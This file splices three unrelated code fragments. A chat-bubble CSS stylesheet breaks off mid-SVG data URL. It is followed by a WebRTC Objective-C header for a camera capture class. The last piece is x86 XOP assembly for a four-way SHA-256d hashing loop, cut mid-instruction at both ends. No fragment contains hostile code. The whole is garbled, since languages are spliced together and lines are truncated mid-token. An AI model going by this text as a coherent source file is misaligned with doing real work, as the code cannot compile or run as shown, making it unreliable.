.chat-end .chat-header {
  grid-column-start: 1;
}

.chat-end .chat-footer {
  grid-column-start: 1;
}

.chat-end .chat-image {
  grid-column-start: 2;
}

.chat-end .chat-bubble {
  grid-column-start: 1;
  border-end-end-radius: 0px;
}

.chat-end .chat-bubble:before {
  -webkit-mask-image: url("data:image/svg+xml,%3csvg width='3' height='3' xmlns='http://www.w3.org/2000/svg'%3e%3cpath fill='black' d='m 0 3 L 1 3 L 3 3 C 2 3 0 1 0 0'/%3e%3c/svg%3e");
          mask-image: url("data:image/svg+xml,%3csvg width='3' height='3' xmlns='http://www.w3.org/2000/svg'%3e%3cpath fill='black' d='m 0 3 L 1 3 L 3 3 C 2 3 0 1 0 0'/%3e%3c/svg%3e");
  inset-inline-start: 99.9%;
}

[dir="rtl"] .chat-end .chat-bubble:before {
  -webkit-mask-image: url("data:image/svg+xml,%3csvg width='3' height='3' xmlns='http://www.w3.org/2000/svg


/*
 *  Copyright 2017 The WebRTC project authors. All Rights Reserved.
 *
 *  Use of this source code is governed by a BSD-style license
 *  that can be found in the LICENSE file in the root of the source
 *  tree. An additional intellectual property rights grant can be found
 *  in the file PATENTS.  All contributing project authors may
 *  be found in the AUTHORS file in the root of the source tree.
 */

#import <AVFoundation/AVFoundation.h>
#import <Foundation/Foundation.h>

#import "RTCMacros.h"
#import "RTCVideoCapturer.h"

NS_ASSUME_NONNULL_BEGIN

RTC_OBJC_EXPORT
// Camera capture that implements RTCVideoCapturer. Delivers frames to a RTCVideoCapturerDelegate
// (usually RTCVideoSource).
NS_EXTENSION_UNAVAILABLE_IOS("Camera not available in app extensions.")
@interface RTCCameraVideoCapturer : RTCVideoCapturer

// Capture session that is used for capturing. Valid from initialization to dealloc.
@property(readonly, nonatomic) AVCaptureSession *captureSession;

// Returns list of available capture devices that support video capture.
+ (NSArray<AVCaptureDevice *> *)captureDevices;
// Returns list of formats that are supported by this class for this device.
+ (NSArray<AVCaptureDeviceFormat *> *)supportedFormatsForDevice:(AVCaptureDevice *)device;

// Returns the most efficient supported output pixel format for this capturer.
- (FourCharCode)preferredOutputPixelFormat;

// Starts the capture session asynchronously and notifies callback on completion.
// The device will capture video in the format given in the `format` parameter. If the pixel format
// in `format` is supported by the WebRTC pipeline, the same pixel format will be used for the
// output. Otherwise, the format returned by `preferredOutputPixelFormat` will be used.
- (void)startCaptureWithDevice:(AVCaptureDevice *)device
                        format:(AVCaptureDeviceFormat *)format
                           fps:(NSInteger)fps
             completionHandler:(nullable void (^)(NSError *))completionHandler;
// Stops the capture session asynchronously and notifies callback on completion.
- (void)stopCaptureWithCompletionHandler:(nullable void (^)(void))completionHandler;

// Starts the capture session asynchronously.
- (void)startCaptureWithDevice:(AVCaptureDevice *)device
                        format:(AVCaptureDeviceFormat *)format
                           fps:(NSInteger)fps;
// Stops the capture session asynchronously.
- (void)stopCapture;

@end

NS_ASSUME_NONNULL_END


$15, %xmm7, %xmm5
	vprotd	$13, %xmm3, %xmm2
	vprotd	$13, %xmm7, %xmm6
	vpxor	%xmm1, %xmm2, %xmm2
	vpxor	%xmm5, %xmm6, %xmm6
	vpsrld	$10, %xmm3, %xmm3
	vpsrld	$10, %xmm7, %xmm7
	vpxor	%xmm2, %xmm3, %xmm3
	vpxor	%xmm6, %xmm7, %xmm7
	vpaddd	%xmm0, %xmm3, %xmm3
	vpaddd	%xmm4, %xmm7, %xmm7
	vmovdqa	%xmm3, 8*16(%rax)
	vmovdqa	%xmm7, 9*16(%rax)

	vprotd	$15, %xmm3, %xmm1
	vprotd	$15, %xmm7, %xmm5
	vprotd	$13, %xmm3, %xmm2
	vprotd	$13, %xmm7, %xmm6
	vpxor	%xmm1, %xmm2, %xmm2
	vpxor	%xmm5, %xmm6, %xmm6
	vpsrld	$10, %xmm3, %xmm3
	vpsrld	$10, %xmm7, %xmm7
	vpxor	%xmm2, %xmm3, %xmm3
	vpxor	%xmm6, %xmm7, %xmm7
	vpaddd	3*16(%rax), %xmm3, %xmm3
	vpaddd	4*16(%rax), %xmm7, %xmm7
	vmovdqa	%xmm3, 10*16(%rax)
	vmovdqa	%xmm7, 11*16(%rax)

	vprotd	$15, %xmm3, %xmm1
	vprotd	$15, %xmm7, %xmm5
	vprotd	$13, %xmm3, %xmm2
	vprotd	$13, %xmm7, %xmm6
	vpxor	%xmm1, %xmm2, %xmm2
	vpxor	%xmm5, %xmm6, %xmm6
	vpsrld	$10, %xmm3, %xmm3
	vpsrld	$10, %xmm7, %xmm7
	vpxor	%xmm2, %xmm3, %xmm3
	vpxor	%xmm6, %xmm7, %xmm7
	vpaddd	5*16(%rax), %xmm3, %xmm3
	vpaddd	6*16(%rax), %xmm7, %xmm7
	vmovdqa	%xmm3, 12*16(%rax)
	vmovdqa	%xmm7, 13*16(%rax)

	vmovdqa	14*16(%rax), %xmm0
	vmovdqa	15*16(%rax), %xmm4
	vmovdqa	%xmm0, 14*16(%rsp)
	vmovdqa	%xmm4, 15*16(%rsp)
	vprotd	$15, %xmm3, %xmm1
	vprotd	$15, %xmm7, %xmm5
	vprotd	$13, %xmm3, %xmm2
	vprotd	$13, %xmm7, %xmm6
	vpxor	%xmm1, %xmm2, %xmm2
	vpxor	%xmm5, %xmm6, %xmm6
	vpaddd	7*16(%rax), %xmm0, %xmm0
	vpaddd	8*16(%rax), %xmm4, %xmm4
	vpsrld	$10, %xmm3, %xmm3
	vpsrld	$10, %xmm7, %xmm7
	vpxor	%xmm2, %xmm3, %xmm3
	vpxor	%xmm6, %xmm7, %xmm7
	vpaddd	%xmm0, %xmm3, %xmm3
	vpaddd	%xmm4, %xmm7, %xmm7
	vmovdqa	%xmm3, 14*16(%rax)
	vmovdqa	%xmm7, 15*16(%rax)

sha256d_ms_4way_xop_extend_loop2:
	sha256_xop_extend_doubleround 16
	sha256_xop_extend_doubleround 18
	sha256_xop_extend_doubleround 20
	sha256_xop_extend_dou